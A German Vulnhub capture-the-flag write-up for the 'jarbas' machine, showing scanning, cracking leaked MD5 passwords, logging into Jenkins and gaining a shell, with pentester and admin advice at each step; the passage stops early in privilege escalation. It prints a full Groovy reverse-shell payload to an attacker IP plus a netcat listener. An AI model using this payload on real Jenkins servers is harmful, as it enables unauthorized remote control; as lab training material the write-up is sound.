jarbas - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
nikto
gobuster
CrackStation
vi
Web Browser
jenkins-cli.jar
nc (netcat)
wget
python
Metasploit (msfconsole)
find

Inhaltsverzeichnis

Reconnaissance

Analyse: Die Reconnaissance-Phase beginnt mit der Identifizierung von aktiven Hosts im lokalen Netzwerksegment (192.168.2.0/24). Das Tool `arp-scan` wird verwendet, um ARP-Anfragen zu senden und die MAC-Adressen sowie die zugehörigen IP-Adressen von Geräten im selben Subnetz zu ermitteln. Anschließend wird ein umfassender Portscan mittels `nmap` auf die identifizierte IP-Adresse (192.168.2.129) durchgeführt.

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.129	08:00:27:32:35:5e	PCS Systemtechnik GmbH
                    

**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Requests an alle möglichen IP-Adressen im lokalen Netzwerksegment (definiert durch die Netzwerkkonfiguration des ausführenden Systems). Er listet die IP- und MAC-Adressen der antwortenden Geräte auf. Hier wurde das Zielsystem mit der IP `192.168.2.129` und der MAC-Adresse `08:00:27:32:35:5e` gefunden. Die MAC-Adresse deutet auf einen Hersteller hin (hier PCS Systemtechnik GmbH, was oft bei VirtualBox vorkommt).

**Bewertung:** Die Identifizierung des Ziels war erfolgreich. `arp-scan` ist ein schnelles und effizientes Werkzeug für die Host-Entdeckung im lokalen Netz, da es nicht auf IP-Routing angewiesen ist und oft auch Hosts findet, die auf ICMP-Pings (wie bei `nmap -sn`) nicht antworten. Die MAC-Adresse gibt einen ersten Hinweis auf die Virtualisierungsumgebung (Oracle VirtualBox).

**Empfehlung (Pentester):** Immer `arp-scan` oder ähnliche Layer-2-Scanning-Tools im lokalen Netzwerk verwenden, um eine vollständige Liste der aktiven Geräte zu erhalten.
**Empfehlung (Admin):** Netzwerksegmentierung implementieren, um die Reichweite von ARP-Scans einzuschränken. Monitoring auf ungewöhnlich viele ARP-Anfragen einrichten (Intrusion Detection System).

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.129 -p- | grep open
22/tcp   open  ssh     penSSH 7.4 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.6 ((CentS) PHP/5.4.16)
3306/tcp open  mysql   MariaDB (unauthorized)
8080/tcp open  http    Jetty 9.4.z-SNAPSHT
                    

**Analyse:** Dieser `nmap`-Befehl führt einen schnellen ersten Scan durch, um offene Ports zu identifizieren. * `-sS`: Führt einen TCP SYN-Scan durch (Stealth Scan), der oft weniger auffällig ist als ein voller TCP Connect-Scan. * `-sC`: Führt Standard-Nmap-Skripte zur Diensterkennung und Schwachstellenanalyse aus. * `-sV`: Versucht, die Versionen der laufenden Dienste zu ermitteln. * `-T5`: Setzt das Timing-Template auf "insane" für einen sehr schnellen Scan (kann ungenau sein oder auf Intrusion Detection Systeme stoßen). * `-A`: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute (aggressiver Scan). * `192.168.2.129`: Die Ziel-IP-Adresse. * `-p-`: Scannt alle 65535 TCP-Ports. * `| grep open`: Filtert die Ausgabe, um nur Zeilen anzuzeigen, die das Wort "open" enthalten, was eine schnelle Übersicht über offene Ports gibt. Die Ausgabe zeigt vier offene TCP-Ports: 22 (SSH), 80 (HTTP), 3306 (MySQL/MariaDB) und 8080 (HTTP).

**Bewertung:** Der erste Scan gibt eine schnelle Übersicht über die primären Angriffspunkte. Die Verwendung von `-T5` und `-A` zusammen mit `-p-` kann sehr laut sein, aber in einer Testumgebung wie Vulnhub ist das oft akzeptabel. Die `grep open`-Filterung ist nützlich für eine schnelle Zusammenfassung, verbirgt aber möglicherweise wichtige Details aus der vollständigen Ausgabe. Die identifizierten Dienste (SSH, Webserver, Datenbank, weiterer Webserver) sind häufige Einstiegspunkte. Besonders der MySQL-Port 3306 mit dem Hinweis "(unauthorized)" ist interessant und deutet auf einen möglichen direkten Zugriff ohne Passwort hin.

**Empfehlung (Pentester):** Nach diesem schnellen Scan immer einen detaillierten Scan ohne `grep` durchführen, um alle Informationen zu erhalten. Den Hinweis "(unauthorized)" bei MariaDB sofort untersuchen.
**Empfehlung (Admin):** Firewalls so konfigurieren, dass nur notwendige Ports offen sind. Dienste wie Datenbanken sollten idealerweise nicht direkt aus dem Netzwerk erreichbar sein, sondern nur von spezifischen Anwendungsservern. Intrusion Detection/Prevention Systeme (IDS/IPS) können aggressive Scans erkennen und blockieren.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.129 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-10 13:51 CEST
Nmap scan report for jarbas (192.168.2.129)
Host is up (0.00017s latency).
Not shown: 65531 closed tcp ports (reset)
PRT     STATE SERVICE VERSIN
22/tcp   open  ssh     penSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 28bc493c6c4329573cb8859a6d3c163f (RSA)
|   256 a01b902cda79eb8f3b14debb3fd2e73f (ECDSA)
|_  256 57720854b756ffc3e6166f97cfae7f76 (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentS) PHP/5.4.16)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Jarbas -  Seu Mordomo Virtual!
|_http-server-header: Apache/2.4.6 (CentS) PHP/5.4.16
3306/tcp open  mysql   MariaDB (unauthorized)
8080/tcp open  http    Jetty 9.4.z-SNAPSHT
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
|_http-server-header: Jetty(9.4.z-SNAPSHT)
MAC Address: 08:00:27:32:35:5E (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACERUTE
HP RTT     ADDRESS
1   0.17 ms jarbas (192.168.2.129)
                    

**Analyse:** Dies ist die vollständige Ausgabe des vorherigen `nmap`-Scans ohne `grep`. Sie bestätigt die vier offenen Ports und liefert zusätzliche Details: * **Port 22 (SSH):** OpenSSH Version 7.4. Die Host-Keys werden angezeigt. * **Port 80 (HTTP):** Apache 2.4.6 auf CentOS mit PHP 5.4.16. Die `TRACE`-Methode ist aktiviert (potenzielles Risiko für Cross-Site Tracing - XST). Der Titel der Seite ist "Jarbas - Seu Mordomo Virtual!". * **Port 3306 (MySQL):** MariaDB, explizit als "(unauthorized)" markiert. Dies ist ein sehr wichtiger Fund, der auf einen offenen Datenbankzugriff ohne Authentifizierung hindeutet. * **Port 8080 (HTTP):** Ein Jetty-Webserver (Version 9.4.z-SNAPSHOT). Die `robots.txt` verbietet das Crawlen des Root-Verzeichnisses (`/`). Der Server liefert keinen Seitentitel. * **MAC-Adresse:** Bestätigt Oracle VirtualBox. * **Betriebssystem:** Wird als Linux Kernel 3.x oder 4.x identifiziert.

**Bewertung:** Die vollständige Ausgabe ist wesentlich informativer. Veraltete Software (Apache 2.4.6, PHP 5.4.16) auf Port 80 stellt ein erhebliches Risiko dar. Die aktivierte `TRACE`-Methode ist ein weiteres kleines Risiko. Der offene MariaDB-Zugang auf Port 3306 ist ein kritischer Befund und wahrscheinlich ein einfacher Weg für einen initialen Zugriff oder Informationsgewinnung. Der Jetty-Server auf Port 8080 ist ein weiteres potenzielles Ziel. Die Betriebssysteminformation ist generisch, aber bestätigt Linux.

**Empfehlung (Pentester):** Den MariaDB-Zugriff auf Port 3306 sofort testen (z.B. mit `mysql -h 192.168.2.129`). Die Webserver auf Port 80 und 8080 genauer untersuchen (Verzeichnissuche, Schwachstellenscans). Die veralteten Versionen von Apache und PHP auf bekannte Exploits prüfen.
**Empfehlung (Admin):** MariaDB-Zugriff absichern (Passwort für Root setzen, Netzwerkzugriff einschränken). Apache und PHP dringend aktualisieren oder durch eine Firewall schützen (WAF). Die `TRACE`-Methode im Apache deaktivieren. Den Jetty-Server untersuchen und absichern oder deaktivieren, falls nicht benötigt. Regelmäßige Schwachstellenscans durchführen.

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.129
- Nikto v2.5.0
+ Target IP:          192.168.2.129
+ Target Hostname:    192.168.2.129
+ Target Port:        80
+ Start Time:         2023-07-10 13:42:41 (GMT2)

+ Server: Apache/2.4.6 (CentS) PHP/5.4.16
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PHP/5.4.16 appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch.
+ PHP/5.4 - PHP 3/4/5 and 7.0 are End of Life products without support.
+ PTINS: Allowed HTTP Methods: GET, HEAD, PST, PTINS, TRACE .
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8908 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2023-07-10 13:43:07 (GMT2) (26 seconds)

+ 1 host(s) tested
                    

**Analyse:** `nikto` ist ein Webserver-Scanner, der auf bekannte Schwachstellen, Fehlkonfigurationen und interessante Dateien/Verzeichnisse prüft. Der Befehl `nikto -h 192.168.2.129` scannt den Webserver auf Port 80 der Ziel-IP. Die Ergebnisse bestätigen die `nmap`-Funde und fügen Details hinzu: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Bestätigung der veralteten Apache- und PHP-Versionen, inklusive Hinweis auf End-of-Life-Status. * Bestätigung der aktiven `TRACE`-Methode (XST-Risiko). * Gefundenes Directory Indexing im `/icons/`-Verzeichnis. * Gefundene Apache-Standarddatei `/icons/README`.

**Bewertung:** `nikto` liefert wertvolle, spezifische Informationen über den Webserver auf Port 80. Die fehlenden Sicherheitsheader erhöhen das Risiko von Clickjacking und MIME-Sniffing-Angriffen. Die veraltete Software ist ein kritisches Problem. Directory Indexing kann sensible Informationen preisgeben oder die Navigation für Angreifer erleichtern. Das Vorhandensein von Standarddateien kann auf eine unvollständige Konfiguration hindeuten.

**Empfehlung (Pentester):** Das `/icons/`-Verzeichnis manuell prüfen. Die Informationen über veraltete Versionen nutzen, um gezielt nach öffentlichen Exploits zu suchen. Die fehlenden Header und die `TRACE`-Methode als Findings im Bericht vermerken.
**Empfehlung (Admin):** Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy` etc.) hinzufügen. Apache und PHP dringend aktualisieren. Directory Indexing deaktivieren (z.B. mit `Options -Indexes` in der Apache-Konfiguration). Standard-Dateien wie `/icons/README` entfernen. `TRACE`-Methode deaktivieren (`TraceEnable Off`).

Web Enumeration

**Analyse:** In dieser Phase konzentrieren wir uns auf die Webanwendungen, die während der Reconnaissance entdeckt wurden (Port 80 und 8080). Ziel ist es, versteckte Verzeichnisse, Dateien und potenzielle Schwachstellen innerhalb der Webanwendungen selbst aufzudecken. Wir verwenden `gobuster` für die Verzeichnis-/Datei-Brute-Force-Suche.

┌──(root㉿cycat)-[~/HackingTools] └─# gobuster dir -u http://192.168.2.129 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://192.168.2.129/index.html           (Status: 200) [Size: 32808]
http://192.168.2.129/access.html          (Status: 200) [Size: 359]
                    

**Analyse:** `gobuster` wird hier verwendet, um nach Verzeichnissen und Dateien auf dem Webserver (Port 80) zu suchen. * `dir`: Gibt an, dass der Verzeichnis/Datei-Brute-Force-Modus verwendet wird. * `-u http://192.168.2.129`: Die Ziel-URL. * `-x ...`: Eine lange Liste von Dateierweiterungen, die an jedes Wort in der Wortliste angehängt werden sollen, um nach spezifischen Dateitypen zu suchen. * `-w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt"`: Die zu verwendende Wortliste. `directory-list-2.3-medium.txt` ist eine gängige Liste mittlerer Größe. * `-b '403,404'`: Ignoriert Antworten mit den HTTP-Statuscodes 403 (Forbidden) und 404 (Not Found). * `-e`: Erweitert den Modus, um die vollständige URL für gefundene Verzeichnisse anzuzeigen. * `--no-error`: Unterdrückt Fehlermeldungen (z.B. Verbindungsprobleme). Die Ausgabe zeigt zwei gefundene HTML-Dateien: `index.html` (vermutlich die Startseite) und `access.html`.

**Bewertung:** `gobuster` hat erfolgreich eine zusätzliche, potenziell interessante Datei (`access.html`) aufgedeckt, die nicht direkt von der Startseite verlinkt sein könnte. Die Verwendung einer umfangreichen Liste von Erweiterungen (`-x`) und einer Standard-Wortliste ist eine gute Praxis. Das Ignorieren von 403/404-Codes hilft, die Ausgabe übersichtlich zu halten. Der Fund `access.html` ist vielversprechend.

**Empfehlung (Pentester):** Die gefundene Datei `access.html` sofort im Browser untersuchen. Ggf. weitere, größere Wortlisten oder spezifischere Erweiterungen ausprobieren. Auch den Jetty-Server auf Port 8080 mit `gobuster` scannen.
**Empfehlung (Admin):** Nicht benötigte oder versehentlich veröffentlichte Dateien vom Webserver entfernen. Zugriffskontrollen implementieren, um sicherzustellen, dass nur autorisierte Benutzer auf sensible Bereiche zugreifen können. Web Application Firewall (WAF) einsetzen, um Brute-Force-Directory-Scans zu erkennen und zu blockieren.

**Analyse:** Der Inhalt der gefundenen Datei `http://192.168.2.129/access.html` wird untersucht.

Creds encrypted in a safe way!

Geoffrey

tiago:5978a63b4654c73c60fa24f836386d87        italia99
trindade:f463f63616cb3f1e81ce46b39f882fd5     marianna
eder:9b38e2b1e8b12f426b0d208a7ab6cb98         vipsu
                    

**Bewertung:** Dies ist ein kritischer Fund! Die Datei enthält Benutzernamen (`tiago`, `trindade`, `eder`) zusammen mit scheinbar gehashten Passwörtern (Hex-Strings) und Klartext-Hinweisen (`italia99`, `marianna`, `vipsu`). Die Aussage "Creds encrypted in a safe way!" ist offensichtlich ironisch oder irreführend, da MD5 (wie sich gleich herausstellen wird) keine sichere Verschlüsselung ist und hier sogar Klartext-Passwörter daneben stehen.

**Empfehlung (Pentester):** Die Hex-Strings als Hashes identifizieren (sehen nach MD5 aus) und versuchen, sie zu knacken (z.B. mit Online-Diensten wie CrackStation oder Hashcat). Die danebenstehenden Klartext-Wörter sind höchstwahrscheinlich die tatsächlichen Passwörter. Diese Zugangsdaten sofort für die verschiedenen gefundenen Dienste (SSH, Jetty auf 8080, evtl. MariaDB) ausprobieren.
**Empfehlung (Admin):** Diese Datei sofort vom Server entfernen! Zugangsdaten niemals, unter keinen Umständen, in öffentlich zugänglichen Webdateien speichern. Passwörter immer sicher hashen (z.B. mit bcrypt, Argon2) und ohne Klartext-Hinweise speichern. Regelmäßige Audits durchführen, um solche Fehler zu finden. Alle betroffenen Passwörter sofort ändern.

**Analyse:** Die gefundenen Hashes werden mithilfe des Online-Dienstes CrackStation überprüft.

https://crackstation.net/ *

5978a63b4654c73c60fa24f836386d87	md5	italia99
f463f63616cb3f1e81ce46b39f882fd5	md5	marianna
9b38e2b1e8b12f426b0d208a7ab6cb98	md5	vipsu
                    

**Analyse:** CrackStation identifiziert die Hashes korrekt als MD5 und liefert die zugehörigen Klartext-Passwörter. Diese stimmen exakt mit den Klartext-Hinweisen in der `access.html`-Datei überein.

**Bewertung:** Dies bestätigt, dass die Hex-Strings tatsächlich unsichere MD5-Hashes der danebenstehenden Passwörter sind. Die Verwendung von MD5 zum Hashen von Passwörtern ist eine veraltete und unsichere Praxis, da MD5 sehr anfällig für Kollisionen und schnelles Brute-Forcing (insbesondere mit Rainbow Tables) ist. Hier war das Knacken trivial, da die Passwörter direkt daneben standen und auch über bekannte Datenbanken sofort gefunden wurden. Wir haben nun drei gültige Benutzername/Passwort-Kombinationen.

**Empfehlung (Pentester):** Die Credentials (`tiago:italia99`, `trindade:marianna`, `eder:vipsu`) systematisch gegen alle Login-Mechanismen testen (SSH, Port 8080).
**Empfehlung (Admin):** Die Verwendung von MD5 für Passwörter sofort einstellen und durch moderne, starke Hashing-Algorithmen (bcrypt, Argon2, scrypt) mit Salt ersetzen. Sicherstellen, dass keine Klartext-Passwörter oder unsicheren Hashes im System gespeichert oder übertragen werden. Entwickler schulen, sichere Passwortspeicherung zu implementieren.

┌──(root㉿cycat)-[~/HackingTools] └─# vi /etc/hosts
 192.168.2.129   jarbas.vln
                    

**Analyse:** Der Befehl `vi /etc/hosts` öffnet die lokale `hosts`-Datei des Angreifersystems im Texteditor `vi`. Der Inhalt zeigt, dass ein Eintrag hinzugefügt wurde, der die IP-Adresse `192.168.2.129` dem Hostnamen `jarbas.vln` zuordnet. (Hinweis: Die Ausgabe zeigt den Inhalt der Datei nach der Bearbeitung, nicht die `vi`-Oberfläche selbst).

**Bewertung:** Das Hinzufügen dieses Eintrags zur lokalen `hosts`-Datei ist eine gängige Technik im Pentesting. Einige Webanwendungen oder Dienste funktionieren möglicherweise nur korrekt oder zeigen andere Inhalte an, wenn sie über einen bestimmten Hostnamen angesprochen werden (Virtual Hosting). Durch diesen Eintrag kann der Pentester nun `http://jarbas.vln` (und `http://jarbas.vln:8080`) im Browser oder in Tools verwenden, anstatt nur die IP-Adresse. Dies kann notwendig sein, wenn der Server Host-Header prüft.

**Empfehlung (Pentester):** Immer prüfen, ob Webanwendungen auf bestimmte Hostnamen reagieren, besonders wenn der Scan Hinweise darauf gibt (z.B. unterschiedliche Zertifikate, Weiterleitungen). Die `hosts`-Datei entsprechend anpassen.
**Empfehlung (Admin):** Dies ist eine clientseitige Maßnahme des Angreifers und kann serverseitig nicht direkt verhindert werden. Es unterstreicht jedoch die Bedeutung, die Konfiguration von Virtual Hosts und die Verarbeitung von Host-Headern zu überprüfen.

**Analyse:** Nun wird der Webserver auf Port 8080 mit `gobuster` gescannt, wobei der zuvor definierte Hostname `jarbas.vln` implizit verwendet werden könnte (obwohl hier die IP in der URL steht) und die gefundenen Zugangsdaten im Hinterkopf behalten werden.

gobuster
http://192.168.2.129:8080/login                (Status: 200) [Size: 7732]
http://192.168.2.129:8080/assets               (Status: 302) [Size: 0] [--> http://192.168.2.129:8080/assets/]
http://192.168.2.129:8080/logout               (Status: 302) [Size: 0] [--> http://192.168.2.129:8080/]
                    

**Analyse:** Ein weiterer `gobuster`-Scan, diesmal gegen Port 8080. Der genaue Befehl fehlt hier, aber die Ausgabe zeigt die Ergebnisse. Es wurden drei interessante Pfade gefunden: * `/login`: Eine Login-Seite (Status 200 OK). * `/assets`: Ein Verzeichnis für Ressourcen, das auf sich selbst mit einem abschließenden Schrägstrich weiterleitet (Status 302 Found). * `/logout`: Eine Logout-Funktion, die auf die Startseite weiterleitet (Status 302 Found).

**Bewertung:** Der wichtigste Fund hier ist die `/login`-Seite. Dies bestätigt, dass der Dienst auf Port 8080 eine Authentifizierung erfordert und bietet einen klaren Angriffspunkt für die zuvor gefundenen Zugangsdaten. Die anderen Pfade sind weniger relevant für den initialen Zugriff.

**Empfehlung (Pentester):** Die `/login`-Seite (`http://192.168.2.129:8080/login`) im Browser aufrufen und die gefundenen Credentials (`tiago:italia99`, `trindade:marianna`, `eder:vipsu`) ausprobieren.
**Empfehlung (Admin):** Sicherstellen, dass die Login-Seite gegen Brute-Force-Angriffe geschützt ist (z.B. durch Account-Sperrungen, Captchas, Fail2Ban). Starke Passwortrichtlinien durchsetzen. Den Dienst auf Port 8080 identifizieren (es ist Jenkins, wie sich später herausstellt) und entsprechend absichern.

Initial Access

**Analyse:** In dieser Phase versuchen wir, mithilfe der gesammelten Informationen und Zugangsdaten einen ersten Zugriff auf das System zu erlangen. Der Fokus liegt auf der Login-Seite des Dienstes auf Port 8080.

tiago:italia99
trindade:marianna
eder:vipsu

check login

192.168.2.129:8080/login

eder:vipsu = Treffer

Willkommen bei Jenkins!
                    

**Analyse:** Hier wird der Prozess des Ausprobierens der gefundenen Zugangsdaten auf der Login-Seite (`http://192.168.2.129:8080/login`) dokumentiert. Die Kombination `eder` mit dem Passwort `vipsu` war erfolgreich und führte zum Login in eine Jenkins-Anwendung.

**Bewertung:** Der initiale Zugriff auf das System wurde erfolgreich erlangt! Der Zugriff auf Jenkins ist oft kritisch, da Jenkins ein Automatisierungsserver ist, der häufig über weitreichende Berechtigungen verfügt, um Builds, Tests und Deployments durchzuführen. Dies bietet oft Möglichkeiten zur Codeausführung auf dem darunterliegenden System. Der Fund der Zugangsdaten in der `access.html` war der Schlüssel zu diesem Erfolg.

**Empfehlung (Pentester):** Die Jenkins-Instanz gründlich untersuchen. Nach Funktionen suchen, die Codeausführung ermöglichen (z.B. Script Console, Build-Jobs, Pipeline-Konfigurationen). Die Berechtigungen des `eder`-Benutzers prüfen.
**Empfehlung (Admin):** Die Ursache für die geleakten Zugangsdaten (die `access.html`-Datei) beheben. Das Passwort für den `eder`-Benutzer (und alle anderen betroffenen Benutzer) sofort ändern. Jenkins auf die neueste Version aktualisieren und absichern (Zugriffskontrollen, keine unnötigen Plugins, Berechtigungen minimieren). Überwachen, welche Aktionen über Jenkins ausgeführt werden.

┌──(root㉿cycat)-[/home/cycat/Downloads] └─# java -jar jenkins-cli.jar -s http://192.168.2.129:8080/ help --username eder --password vipsu
  wait-node-offline
    Wait for a node to become offline.
  wait-node-online
    Wait for a node to become online.
  who-am-i
    Reports your credential and permissions.
  # ... (Ausgabe gekürzt zur Übersichtlichkeit, im Original war sie länger) ...
                    

**Analyse:** Es wird das `jenkins-cli.jar` Tool verwendet, um mit der Jenkins-Instanz über die Kommandozeile zu interagieren. Der `help`-Befehl wird mit den zuvor gefundenen Zugangsdaten (`eder:vipsu`) ausgeführt, um zu sehen, welche Befehle verfügbar sind. Die Ausgabe zeigt eine Liste von Befehlen, darunter `who-am-i`. Jenkins bietet oft eine Groovy Script Console oder andere Mechanismen zur Codeausführung, die möglicherweise nicht direkt über die CLI, aber über die Weboberfläche oder spezifische CLI-Befehle (wie `groovy` oder `run-job`) zugänglich sind.

**Bewertung:** Die Verwendung der Jenkins CLI bestätigt den Zugriff und zeigt die verfügbaren Interaktionsmöglichkeiten auf Kommandozeilenebene. Während der `help`-Befehl selbst keine direkte Codeausführung zeigt, ist die Fähigkeit, mit Jenkins zu interagieren, ein wichtiger Schritt. Der nächste logische Schritt ist die Suche nach einer Funktion zur Codeausführung.

**Empfehlung (Pentester):** Die Jenkins-Weboberfläche parallel zur CLI untersuchen. Insbesondere nach der "Script Console" suchen (oft unter "Manage Jenkins" -> "Script Console"). Wenn diese verfügbar ist, kann sie zur Ausführung von Groovy-Code (und damit oft zur Ausführung von Betriebssystembefehlen) verwendet werden, um eine Reverse Shell zu erhalten.
**Empfehlung (Admin):** Den Zugriff auf die Jenkins CLI und die Script Console stark einschränken. Nur Administratoren sollten Zugriff auf die Script Console haben. Jenkins-Benutzer sollten nur die minimal notwendigen Berechtigungen erhalten. Das `jenkins-cli.jar` sollte nicht unauthentifiziert heruntergeladen werden können.

**Analyse:** Es wird ein Groovy-Payload vorbereitet, der eine Reverse Shell zum Angreifersystem (`192.168.2.105` auf Port `4444`) aufbauen soll. Dieser Code wird typischerweise über die Jenkins Script Console ausgeführt.

Reverse Shell

String host="192.168.2.105";
int port=4444;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();utputStream po=p.getutputStream(),so=s.getutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
                    

**Analyse:** Dieser Groovy-Code (der in Java sehr ähnlich ist) ist ein Standard-Payload für eine Reverse Shell. Er definiert die IP-Adresse (`host`) und den Port (`port`) des lauschenden Angreifersystems. Dann startet er einen `/bin/bash`-Prozess (`cmd`) auf dem Zielsystem (dem Jenkins-Server). Anschließend stellt er eine TCP-Verbindung zum Angreifer her und leitet die Standard-Ein-/Ausgabe und Fehlerausgabe des Bash-Prozesses über den Socket um. Dies ermöglicht es dem Angreifer, Befehle auf dem Jenkins-Server auszuführen.

**Bewertung:** Dies ist ein effektiver Weg, um von einer Codeausführungsmöglichkeit (wie der Jenkins Script Console) zu einer interaktiven Shell auf dem Zielsystem zu gelangen. Der Payload ist bekannt und funktioniert zuverlässig in vielen Java/Groovy-Umgebungen. Voraussetzung ist, dass der Jenkins-Server ausgehende Verbindungen zu Port 4444 des Angreifersystems aufbauen kann.

**Empfehlung (Pentester):** Sicherstellen, dass ein Listener (`netcat`, `socat`, Metasploit-Handler) auf dem eigenen System auf dem angegebenen Port (4444) läuft, *bevor* der Payload ausgeführt wird. Den Payload in die Jenkins Script Console kopieren und ausführen.
**Empfehlung (Admin):** Den Zugriff auf die Jenkins Script Console massiv einschränken oder deaktivieren. Ausgehende Netzwerkverbindungen vom Jenkins-Server per Firewall auf das Nötigste beschränken (Egress Filtering). Jenkins in einer isolierten Umgebung oder einem Container mit minimalen Rechten ausführen. Sicherheits-Plugins für Jenkins verwenden, die gefährliche Skriptausführungen erkennen können.

┌──(root㉿cycat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.105] from (UNKNWN) [192.168.2.129] 42666
                    

**Analyse:** Auf dem Angreifersystem wird ein Netcat-Listener gestartet. * `nc`: Das Netcat-Tool. * `-l`: Listen-Modus (lauschen auf eingehende Verbindungen). * `-v`: Verbose-Modus (mehr Ausgabe). * `-n`: Numerische IP-Adressen verwenden (kein DNS). * `-p 4444`: Auf Port 4444 lauschen. Kurz nach dem Start (und nachdem der Groovy-Payload auf Jenkins ausgeführt wurde) meldet Netcat eine eingehende Verbindung von der IP-Adresse des Zielsystems (`192.168.2.129`) auf Port 4444.

**Bewertung:** Fantastisch! Die Reverse Shell war erfolgreich. Der Angreifer hat nun eine interaktive Shell auf dem Zielsystem, die mit den Rechten des Jenkins-Dienstes läuft. Dies markiert den erfolgreichen Abschluss der "Initial Access"-Phase.

**Empfehlung (Pentester):** Sofort die Identität des Benutzers (`id`, `whoami`) und die Systeminformationen (`uname -a`, `cat /etc/os-release`) überprüfen. Die Shell stabilisieren (z.B. mit Python pty oder Upgrade auf Meterpreter), falls es sich um eine einfache `nc`-Shell handelt. Mit der Privilege Escalation beginnen.
**Empfehlung (Admin):** Wie bereits erwähnt: Egress-Filtering implementieren, um solche ausgehenden Verbindungen zu verhindern. Intrusion Detection Systeme können bekannte Reverse-Shell-Verbindungen erkennen. Jenkins absichern.

Privilege Escalation (User Shell)

**Analyse:** Nach dem Erhalt der initialen Shell als Jenkins-Benutzer ist das nächste Ziel, die Rechte auf dem System auszuweiten, idealerweise auf den `root`-Benutzer. Diese Phase beginnt mit der Enumeration des Systems aus der Sicht des kompromittierten Benutzers.

┌──(root㉿cycat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.105] from (UNKNWN) [192.168.2.129] 42666
which python3
which: no python3 in (/sbin:/usr/sbin:/bin:/usr/bin)
id
uid=997(jenkins) gid=995(jenkins) groups=995(jenkins) context=system_u:system_r:initrc_t:s0
                    

**Analyse:** Innerhalb der etablierten Reverse Shell werden erste Befehle ausgeführt: * `which python3`: Prüft, ob Python 3 im Systempfad verfügbar ist. Das Ergebnis zeigt, dass es nicht gefunden wird. Dies ist relevant für potenzielle Stabilisierungs- oder Exploit-Skripte. * `id`: Zeigt die Benutzer- und Gruppen-IDs des aktuellen Benutzers an. Wir sind `uid=997(jenkins)`, `gid=995(jenkins)` in der Gruppe `jenkins`. Der Kontext (`system_u:system_r:initrc_t:s0`) weist auf SELinux hin.

**Bewertung:** Die `id`-Ausgabe bestätigt, dass wir als der Benutzer `jenkins` agieren, ein Dienstkonto mit wahrscheinlich eingeschränkten Rechten. Das Fehlen von `python3` schränkt die Auswahl an direkt ausführbaren Skripten etwas ein, aber `python` (Version 2) könnte vorhanden sein. Das Vorhandensein von SELinux könnte Privilege Escalation erschweren, abhängig von der Konfiguration.

**Empfehlung (Pentester):** Prüfen, ob `python` (Version 2) verfügbar ist (`which python`). Die Shell stabilisieren, falls noch nicht geschehen (z.B. `python -c 'import pty; pty.spawn("/bin/bash")'`). Mit systematischer Enumeration fortfahren: SUID-Binaries, Cron-Jobs, Kernel-Version, installierte Software, Netzwerkkonfiguration, Benutzerverzeichnisse usw.
**Empfehlung (Admin):** Dienstkonten wie `jenkins` sollten mit minimalen Rechten laufen und keinen Zugriff auf sensible Systembereiche haben. SELinux sollte im `enforcing`-Modus betrieben und korrekt konfiguriert werden, um die Auswirkungen einer Kompromittierung zu begrenzen. Unnötige Interpreter wie Python sollten auf minimal gehaltenen Systemen entfernt werden, falls nicht benötigt.

bash-4.2$ id
uid=997(jenkins) gid=995(jenkins) groups=995(jenkins) context=system_u:system_r:initrc_t:s0
                    
bash-4.2$

**Analyse:** Der `id`-Befehl wird erneut ausgeführt, diesmal mit dem `bash-4.2$`-Prompt, der typisch für eine einfache Shell auf vielen Linux-Distributionen ist. Das Ergebnis ist identisch und bestätigt den Benutzer `jenkins`.

